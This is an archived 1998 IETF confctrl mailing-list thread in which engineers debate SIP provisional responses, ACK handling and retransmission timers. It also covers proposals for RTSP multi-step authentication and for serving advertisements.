	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24202
	for <confctrl@ISI.EDU>; Thu, 4 Jun 1998 07:07:18 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA19054; Thu, 4 Jun 1998 10:07:14 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA25659; Thu, 4 Jun 1998 10:07:09 -0400 (EDT)
Message-ID: <3576AA0D.3A429F86@cs.columbia.edu>
Date: Thu, 04 Jun 1998 10:07:09 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: etremblay@mediatrix.com, jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
Subject: Re: SIP Provisional Responses
References: <4225660C.004958EB.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> From: Scott Petrack@VOCALTEC on 05/22/98 04:51 PM
> 
> [... Problem that a user agent server might need to send first a 100 Trying
> response and then a 180 Ringing response...]
> 
> >
> >2) The server can retransmit 1xx responses periodically.
> >
> >For non-technical users, the difference between Trying and Ringing isn't
> >all that great - certainly not something that the standard telephone
> >tones (ring-back in either case) could express.
> 
> If the server first responds "100 Trying" then if later it sends "180
> Ringing" this is not a _retransmit_, is it? It is a change in the
> provisional response. If this is to be allowed it needs to be explicitly
> stated. I thought that a retransmitted response must an exact retransmit of
> the original response.

There can be several 1xx responses, either the same ("retransmit") or
different. This is the same as in HTTP.

> 
> When client retransmits the INVITE the server can't give a different
> response.

Yes, it can: If I send an INVITE, the phone rings, but the 100/180 gets
lost. [The callee can't know that the 1xx got lost.] The caller
retransmits just as the callee picks up. Naturally, the server returns a
200, not a 1xx response at that point.

> 
> I think that allowing the server to "retransmit" a changed provisional
> response would be very useful, but some clear rules need to be written. For
> example, I wouldn't want a "Ringing" to change into a "Trying".

The state diagram always allowed this: see the transition "status
change/1xx". However, guaranteeing some ordering is very difficult (and,
I believe, counterproductive) since they may be generated by different
pieces of equipment along the way. The client should simply report the
progress, with the expectation that in almost all circumstances the
sequence will make sense to the user, but without relying on a strict
ordering 100-180-182 or similar. (As a practical matter, enforcing
monotonicity would make assignment of codes rather difficult.)

> 
> Perhaps we can say that the higher the number of the provisional response
> code, the farther along the server has gone. (i.e. "180 Ringing" is further
> along the resolution process than "100 Trying"). And then the standard can
> allow a lower provisional response to be replaced by a higher one. (Of
> course we will have to dole out the numbers for responses quite carefully,
> but this is not too hard).
> 
> BTW, "for non-technical users", my cellphone first emits little clicks when
> it is trying to find the callee, and then these clicks change into ringback
> to signal that the phone is ringing. (We do this in the VocalTec PSTN
> gateway as well). And in fact there are lousy cell phone services that
> actually start by faking Ring back and then turn into Busy tone if the
> callee is actually busy. I find the former is very useful, and the latter
> extremely annoying.

Unfortunately, this is to some extent unavoidable if you have a device
on one side that has a very limited repertoire of user feedback (fast
busy, ringback and busy). How else would you handle the situation that
the callee gets the call (ringback) and then decides to refuse the call?
You'd probably want a voice announcement (assuming it's in a language
you understand - I rather have a busy tone than a message in Portugese),
but this behavior doesn't exist on the SS7 side.

Henning

From confctrl-owner  Thu Jun  4 13:40:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA12191
	for confctrl-outgoing; Thu, 4 Jun 1998 13:40:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA12186
	for <confctrl@zephyr.isi.edu>; Thu, 4 Jun 1998 13:40:35 -0700 (PDT)
Received: from arthur.axion.bt.co.uk (arthur.axion.bt.co.uk [132.146.5.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA22038
	for <confctrl@ISI.EDU>; Thu, 4 Jun 1998 13:40:31 -0700 (PDT)
Received: from rambo (actually rambo.futures.bt.co.uk) 
          by arthur.axion.bt.co.uk (PP) with SMTP;
          Thu, 4 Jun 1998 20:43:15 +0100
Received: from mussel.futures.bt.co.uk (actually mussel) by rambo 
          with SMTP (PP); Thu, 4 Jun 1998 18:02:58 +0100
Received: by mussel.futures.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) 
          id <01BD8FE2.5AFDDF50@mussel.futures.bt.co.uk>;
          Thu, 4 Jun 1998 17:58:18 +0100
Message-ID: <c=GB%a=_%p=BT%l=HERCULES-980604170216Z-25973@mussel.futures.bt.co.uk>
From: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
To: "'Scott Petrack'" <Scott_Petrack@vocaltec.com>,
        "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>
Cc: "'etremblay@mediatrix.com'" <etremblay@mediatrix.com>,
        "'jdrosen@dnrc.bell-labs.com'" <jdrosen@dnrc.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: SIP Provisional Responses
Date: Thu, 4 Jun 1998 18:02:16 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 137 TEXT
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'm not sure I understand all that is being said here, but it is my
understanding that in the switched word it is the final exchange in the
link that applies the ringing tone.  

Therefore, there is a big difference between 100 Trying and 180 Ringing.
 

In the POTS world my experience is that you are greeted with deafening
silence until the far end actually starts ringing.  

In the ISDN world 100 Trying maps to Call Proceeding.  This usually
isn't fed back to the user directly, but is important to the protocol
engine to know that the remote end is actually alive.  Getting 100
Trying also allows the UI to know that it is worth having the user hang
on (i.e. it can give an unable to connect notification if it doesn't get
something back from the far end in a suitable time).  

180 Ringing maps to Alerting in the ISDN case.  Because you shouldn't
send back ringing before the far end really is ringing this is obviously
an important message.

So the point of all this is, the switched network can distinguish
between these two cases.  

And now to the point of writing this, because you can't send 180 Ringing
back straight away in all cases, and the transition to the far-end
ringing is an important event, would it be possible for the end that
signals the ringing to somehow request that an acknowledge (ACK) method
be invoked so that the calling person knows that the phone is ringing. 
This also seems important in the case where you have the re-direct (3xx
responses) stuff, because you don't want the user hanging on the line
waiting for his/her terminal to send another INVITE message just because
the re-direct got lost.  i.e. 200 OK doesn't seem to be the only event
that has benefit in being acknowledged.

Regards,

Pete

=================================
Pete Cordell
BT Labs
E-Mail: pete.cordell@bt-sys.bt.co.uk
Tel: +44 1473 646436
Fax: +44 1473 645499
-------------------------------------------------------------
Notice:  This contribution is the personal view of the author and 
does not necessarily reflect the technical nor commercial direction 
of British Telecommunications plc.
=================================



>----------
>From: 	Henning Schulzrinne[SMTP:schulzrinne@cs.columbia.edu]
>Sent: 	04 June 1998 15:07
>To: 	Scott Petrack
>Cc: 	etremblay@mediatrix.com; jdrosen@dnrc.bell-labs.com;
>confctrl@ISI.EDU
>Subject: 	Re: SIP Provisional Responses
>
>Scott Petrack wrote:
>> 
>> From: Scott Petrack@VOCALTEC on 05/22/98 04:51 PM
>> 
>> [... Problem that a user agent server might need to send first a 100 Trying
>> response and then a 180 Ringing response...]
>> 
>> >
>> >2) The server can retransmit 1xx responses periodically.
>> >
>> >For non-technical users, the difference between Trying and Ringing isn't
>> >all that great - certainly not something that the standard telephone
>> >tones (ring-back in either case) could express.
>> 
>> If the server first responds "100 Trying" then if later it sends "180
>> Ringing" this is not a _retransmit_, is it? It is a change in the
>> provisional response. If this is to be allowed it needs to be explicitly
>> stated. I thought that a retransmitted response must an exact retransmit of
>> the original response.
>
>There can be several 1xx responses, either the same ("retransmit") or
>different. This is the same as in HTTP.
>
>> 
>> When client retransmits the INVITE the server can't give a different
>> response.
>
>Yes, it can: If I send an INVITE, the phone rings, but the 100/180 gets
>lost. [The callee can't know that the 1xx got lost.] The caller
>retransmits just as the callee picks up. Naturally, the server returns
>a
>200, not a 1xx response at that point.
>
>> 
>> I think that allowing the server to "retransmit" a changed provisional
>> response would be very useful, but some clear rules need to be written. For
>> example, I wouldn't want a "Ringing" to change into a "Trying".
>
>The state diagram always allowed this: see the transition "status
>change/1xx". However, guaranteeing some ordering is very difficult
>(and,
>I believe, counterproductive) since they may be generated by different
>pieces of equipment along the way. The client should simply report the
>progress, with the expectation that in almost all circumstances the
>sequence will make sense to the user, but without relying on a strict
>ordering 100-180-182 or similar. (As a practical matter, enforcing
>monotonicity would make assignment of codes rather difficult.)
>
>> 
>> Perhaps we can say that the higher the number of the provisional response
>> code, the farther along the server has gone. (i.e. "180 Ringing" is further
>> along the resolution process than "100 Trying"). And then the standard can
>> allow a lower provisional response to be replaced by a higher one. (Of
>> course we will have to dole out the numbers for responses quite carefully,
>> but this is not too hard).
>> 
>> BTW, "for non-technical users", my cellphone first emits little clicks when
>> it is trying to find the callee, and then these clicks change into ringback
>> to signal that the phone is ringing. (We do this in the VocalTec PSTN
>> gateway as well). And in fact there are lousy cell phone services that
>> actually start by faking Ring back and then turn into Busy tone if the
>> callee is actually busy. I find the former is very useful, and the latter
>> extremely annoying.
>
>Unfortunately, this is to some extent unavoidable if you have a device
>on one side that has a very limited repertoire of user feedback (fast
>busy, ringback and busy). How else would you handle the situation that
>the callee gets the call (ringback) and then decides to refuse the
>call?
>You'd probably want a voice announcement (assuming it's in a language
>you understand - I rather have a busy tone than a message in
>Portugese),
>but this behavior doesn't exist on the SS7 side.
>
>Henning
>

From confctrl-owner  Thu Jun  4 17:39:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA22997
	for confctrl-outgoing; Thu, 4 Jun 1998 17:39:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA22992
	for <confctrl@zephyr.isi.edu>; Thu, 4 Jun 1998 17:39:35 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA13061
	for <confctrl@ISI.EDU>; Thu, 4 Jun 1998 17:39:34 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA25415; Thu, 4 Jun 1998 20:39:33 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA27345; Thu, 4 Jun 1998 20:39:28 -0400 (EDT)
Message-ID: <35773E40.96272742@cs.columbia.edu>
Date: Thu, 04 Jun 1998 20:39:28 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Provisional Responses
References: <c=GB%a=_%p=BT%l=HERCULES-980604170216Z-25973@mussel.futures.bt.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Pete Cordell wrote:
> 
> I'm not sure I understand all that is being said here, but it is my
> understanding that in the switched word it is the final exchange in the
> link that applies the ringing tone.
> 
> Therefore, there is a big difference between 100 Trying and 180 Ringing.
> 
> 
> In the POTS world my experience is that you are greeted with deafening
> silence until the far end actually starts ringing.
> 
> In the ISDN world 100 Trying maps to Call Proceeding.  This usually
> isn't fed back to the user directly, but is important to the protocol
> engine to know that the remote end is actually alive.  Getting 100
> Trying also allows the UI to know that it is worth having the user hang
> on (i.e. it can give an unable to connect notification if it doesn't get
> something back from the far end in a suitable time).
> 
> 180 Ringing maps to Alerting in the ISDN case.  Because you shouldn't
> send back ringing before the far end really is ringing this is obviously
> an important message.

This is pretty much the ISDN mapping you'll find on my SIP slides.

> 
> So the point of all this is, the switched network can distinguish
> between these two cases.
> 
> And now to the point of writing this, because you can't send 180 Ringing
> back straight away in all cases, and the transition to the far-end
> ringing is an important event, would it be possible for the end that
> signals the ringing to somehow request that an acknowledge (ACK) method
> be invoked so that the calling person knows that the phone is ringing.
> This also seems important in the case where you have the re-direct (3xx
> responses) stuff, because you don't want the user hanging on the line
> waiting for his/her terminal to send another INVITE message just because
> the re-direct got lost.  i.e. 200 OK doesn't seem to be the only event
> that has benefit in being acknowledged.

All final responses are already being acknowledged via ACK, including
3xx and 4xx. Things just don't work well if you don't do that.

ACKing provisional responses gets messy: Example

C->S INVITE
S->C 180 Ringing (please ACK)
S->C 200 OK (user picked up)
C->S ACK

is the last line the ACK for the 180 or for the 200? Should the callee
worry about getting the 180 ACKed if it has already sent a 200? (Seems
kind of pointless.)

None of these problems are unsolvable - just add one more identifier and
appropriate logic ("mark the ACK as being for the 180; if you get a new
status code, cease retransmitting the old"). It also adds more
substantial complication for proxies. Given the marginal functionality
and the ability to have the server retransmit 180 a few times if it
really worries about this, this seems like a something that should be
deferred and get a feature option, rather than a basespec for the first
round, as it does complicate the client and server with more states. If
you want every provisional response message to be delivered, just use
SIP over TCP :-)

From confctrl-owner  Mon Jun  8 13:21:30 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA20581
	for confctrl-outgoing; Mon, 8 Jun 1998 13:21:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA20576
	for <confctrl@zephyr.isi.edu>; Mon, 8 Jun 1998 13:21:29 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA20504
	for <confctrl@isi.edu>; Mon, 8 Jun 1998 13:21:27 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id QAA03569;
	Mon, 8 Jun 1998 16:20:55 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id QAA08937;
	Mon, 8 Jun 1998 16:20:54 -0400 (EDT)
Date: Mon, 8 Jun 1998 16:20:54 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980608162054.ZM8935@seawind.bellcore.com>
In-Reply-To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
        "Re: SIP Provisional Responses" (Jun  4,  8:39pm)
References: <c=GB%a=_%p=BT%l=HERCULES-980604170216Z-25973@mussel.futures.bt.co.uk> 
	<35773E40.96272742@cs.columbia.edu>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
Subject: Re: SIP Provisional Responses
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

We should remeber that, in most cases, the time elapased between the
"progress" and the "ringing" event is actually quite small.  So, rather
than acking provisional answers, you can do the following:


1) Send INVITE.  Start timer, value of timer scales as "1 RTT + some
margin".

2) If you receive "100" before timer breaks, reset timer value to 
"RTT+Margin" or "500 ms", whichever is larger.

3) If timer breaks, repeat INVITE. Increase value of timer, for exponential 
back-off. Restart timer.

4) When 180 comes, set state to "rnging".  Doi whatever it takes to start
ringing indication.  Reset timer to some very large value.

5) When 200 comes, call is established. Stop all timers.  Send ACK. Place
the circuit in fll duplex mode, etc.

6) If 200 is received in established mode, repeat ACK.

7) If long timer breaks before 200 comes, call was not answered. Send 
BYE, etc.

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Mon Jun  8 14:27:19 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA22877
	for confctrl-outgoing; Mon, 8 Jun 1998 14:27:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA22872
	for <confctrl@zephyr.isi.edu>; Mon, 8 Jun 1998 14:27:16 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA26097
	for <confctrl@isi.edu>; Mon, 8 Jun 1998 14:27:12 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id RAA13461; Mon, 8 Jun 1998 17:27:10 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id RAA15057; Mon, 8 Jun 1998 17:27:09 -0400 (EDT)
Message-ID: <357C572D.BC0A7A55@cs.columbia.edu>
Date: Mon, 08 Jun 1998 17:27:09 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Christian Huitema <huitema@bellcore.com>
CC: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Provisional Responses
References: <c=GB%a=_%p=BT%l=HERCULES-980604170216Z-25973@mussel.futures.bt.co.uk> 
		<35773E40.96272742@cs.columbia.edu> <980608162054.ZM8935@seawind.bellcore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian Huitema wrote:
> 
> We should remeber that, in most cases, the time elapased between the
> "progress" and the "ringing" event is actually quite small.  So, rather
> than acking provisional answers, you can do the following:

You describe the current spec pretty well :-)

> 
> 1) Send INVITE.  Start timer, value of timer scales as "1 RTT + some
> margin".

We typically wouldn't know RTT at this point [unless you call often and
can cache the results of previous calls], so I'm assuming a constant (T1
= 1s) governed by the fact that a RTT above 500 ms is going to make
voice conversation difficult. 

> 
> 2) If you receive "100" before timer breaks, reset timer value to
> "RTT+Margin" or "500 ms", whichever is larger.
> 
> 3) If timer breaks, repeat INVITE. Increase value of timer, for exponential
> back-off. Restart timer.

We are currently using a constant timer (but bound the number of
retransmissions to 20), under the assumption that the useful variability
in RTT is small and the number of measurement samples too small to get
too sophisticated about this. The experience with exponential increase
in TCP in an interactive environment (web page retrieval) has been less
than great: people simply get impatient, hit "stop" (generating a RST)
and then "reload". I don't have a strong opinion either way, but a short
call setup delay if there's one packet loss is very useful (TCP fails in
that regard). 

> 
> 4) When 180 comes, set state to "rnging".  Doi whatever it takes to start
> ringing indication.  Reset timer to some very large value.

Currently, T3 = 30 seconds.

> 
> 5) When 200 comes, call is established. Stop all timers.  Send ACK. Place
> the circuit in fll duplex mode, etc.
> 
> 6) If 200 is received in established mode, repeat ACK.
> 
> 7) If long timer breaks before 200 comes, call was not answered. Send
> BYE, etc.
>

From confctrl-owner  Wed Jun 10 11:57:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA16924
	for confctrl-outgoing; Wed, 10 Jun 1998 11:57:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA16919
	for <confctrl@zephyr.isi.edu>; Wed, 10 Jun 1998 11:57:27 -0700 (PDT)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA06855
	for <confctrl@ISI.EDU>; Wed, 10 Jun 1998 11:57:25 -0700 (PDT)
Received: from kshoop (two31.dev.prognet.com) by murrow.prognet.com with SMTP id AA04396
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Wed, 10 Jun 1998 11:57:24 -0700
Reply-To: <kshoop@real.com>
From: "Kirk Shoop" <kshoop@real.com>
To: "Confctrl" <confctrl@ISI.EDU>
Subject: Multi-Part Authentication over RTSP
Date: Wed, 10 Jun 1998 11:59:40 -0700
Message-Id: <009501bd94a1$ec022150$1f0210ac@kshoop.dev.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-Msmail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-Mimeole: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi.

I am working on the RealNetworks implementation of RTSP.  I am trying to add
authentication.  We would like to support more than just Basic and Digest
authentication as these are not designed to be particularly secure.  Most of
the more secure methods of authentication require 4 or more sequential data
exchanges.  This requires us to associate the messages which make up a
particular conversation.  We would also like to prevent a "man in the
middle"
from using an authenticated session to request new content, change the
destination of an existing stream etc..

Here is how we would like to do this:

There will be a full authentication conversation for each DESCRIBE
method, and there will be another full authentication conversation
for each session. This will occur at the first SETUP message.  If
the client tries to associate a separate file to an authenticated
session, then it's up to the server to refuse the request (at least,
in our implementation).  In the event that we allow things like
redirection of streams to new destinations or other "session changing"
features, we need to make sure we evaluate the tradeoffs of
re-authenticating or not re-authenticating.

Now for the details:

We will add a header which uniquely identifies an authorization session.
This value will be returned by the server on the initial denial (along
with the initial challenge).  "AuthConversation-ID" is an appropriate
name for this field.  The value could contain an MD5 hash of the
URL and the CSeq of the initial message.

Whatever we do, we would like it to inter-operate! :) So please help us
work out any kinks you see in this.

Thanks,
Kirk


From confctrl-owner  Wed Jun 10 15:13:33 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA21365
	for confctrl-outgoing; Wed, 10 Jun 1998 15:13:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA21360
	for <confctrl@zephyr.isi.edu>; Wed, 10 Jun 1998 15:13:31 -0700 (PDT)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA22735
	for <confctrl@ISI.EDU>; Wed, 10 Jun 1998 15:13:30 -0700 (PDT)
Received: from kshoop (two31.dev.prognet.com) by murrow.prognet.com with SMTP id AA01701
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Wed, 10 Jun 1998 15:13:29 -0700
Reply-To: <kshoop@real.com>
From: "Kirk Shoop" <kshoop@real.com>
To: "Confctrl" <confctrl@ISI.EDU>
Subject: Advertisements over RTSP
Date: Wed, 10 Jun 1998 15:15:44 -0700
Message-Id: <009c01bd94bd$500708d0$1f0210ac@kshoop.dev.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-Msmail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-Mimeole: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi, I have another thread to start.. :)

Say you have an Ad server that randomly picks content from a 
database when asked for a particular URL.  So each time the 
URL is resolved, different content is returned.

So a DESCRIBE is sent, in the response we are told that this 
URL has Video and Audio, then we send SETUP.  However this 
time it resolves to content that streams Audio only.  
Now what?

One way to allow this is to move the SessionID response to 
the DESCRIBE and thereby include DESCRIBE in a Session.  
This way the SessionID received from the DESCRIBE can be 
sent with a subsequent SETUP where it is used to maintain 
the state.  If the SETUP method is sent without a SessionID 
then a new one is allocated.  This would require that 
DESCRIBE's be followed by TEARDOWN's.

Thanks,
Kirk


From confctrl-owner  Wed Jun 10 16:19:26 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA22781
	for confctrl-outgoing; Wed, 10 Jun 1998 16:19:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA22776
	for <confctrl@zephyr.isi.edu>; Wed, 10 Jun 1998 16:19:24 -0700 (PDT)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA29082
	for <confctrl@ISI.EDU>; Wed, 10 Jun 1998 16:19:23 -0700 (PDT)
Received: from mailgate.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id QAA15094
	for <confctrl@isi.edu>; Wed, 10 Jun 1998 16:11:02 -0700
Received: from scv1.apple.com (scv1.apple.com [17.128.100.139]) by mailgate.apple.com
 (mailgate.apple.com2.0.15) with ESMTP id <B0000641083@mailgate.apple.com>;
 Wed, 10 Jun 1998 16:11:01 -0700
Received: from [17.255.20.120] (alperi1.apple.com [17.255.20.120])
	by scv1.apple.com (8.8.5/8.8.5) with ESMTP id QAA13572;
	Wed, 10 Jun 1998 16:10:59 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020900b1a4c063ec4a@[17.255.20.120]>
In-Reply-To: <009c01bd94bd$500708d0$1f0210ac@kshoop.dev.prognet.com>
MIME-Version: 1.0
Date: Wed, 10 Jun 1998 16:10:54 -0700
To: kshoop@real.com, Confctrl <confctrl@ISI.EDU>
From: Alagu Periyannan <alagu@apple.com>
Subject: Re: Advertisements over RTSP
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 3:15 PM -0700 6/10/98, Kirk Shoop wrote:
>Hi, I have another thread to start.. :)
>
>Say you have an Ad server that randomly picks content from a
>database when asked for a particular URL.  So each time the
>URL is resolved, different content is returned.
>
>So a DESCRIBE is sent, in the response we are told that this
>URL has Video and Audio, then we send SETUP.  However this
>time it resolves to content that streams Audio only.
>Now what?
>

How about using the REDIRECT mechanism that came
over to RTSP from HTTP.

Everytime you do a DESCRIBE on the advertisement URL
the server will look up the database and redirect you
to a specific ad's URL. From then on the current behavour
supported by RTSP should suffice.




---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From confctrl-owner  Wed Jun 10 16:43:01 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA23641
	for confctrl-outgoing; Wed, 10 Jun 1998 16:43:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA23635
	for <confctrl@zephyr.isi.edu>; Wed, 10 Jun 1998 16:43:00 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA01039
	for <confctrl@ISI.EDU>; Wed, 10 Jun 1998 16:42:59 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA18184; Wed, 10 Jun 1998 19:42:58 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA23289; Wed, 10 Jun 1998 19:42:57 -0400 (EDT)
Message-ID: <357F1A01.A45C4DE5@cs.columbia.edu>
Date: Wed, 10 Jun 1998 19:42:57 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: kshoop@real.com
CC: Confctrl <confctrl@ISI.EDU>
Subject: Re: Advertisements over RTSP
References: <009c01bd94bd$500708d0$1f0210ac@kshoop.dev.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Kirk Shoop wrote:
> 
> Hi, I have another thread to start.. :)
> 
> Say you have an Ad server that randomly picks content from a
> database when asked for a particular URL.  So each time the
> URL is resolved, different content is returned.
> 
> So a DESCRIBE is sent, in the response we are told that this
> URL has Video and Audio, then we send SETUP.  However this
> time it resolves to content that streams Audio only.
> Now what?
> 
> One way to allow this is to move the SessionID response to
> the DESCRIBE and thereby include DESCRIBE in a Session.
> This way the SessionID received from the DESCRIBE can be
> sent with a subsequent SETUP where it is used to maintain
> the state.  If the SETUP method is sent without a SessionID
> then a new one is allocated.  This would require that
> DESCRIBE's be followed by TEARDOWN's.

I would prefer that the URLs in the DESCRIBE contain an actual URL of
the advertising clip. This seems cleaner.

> 
> Thanks,
> Kirk

-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

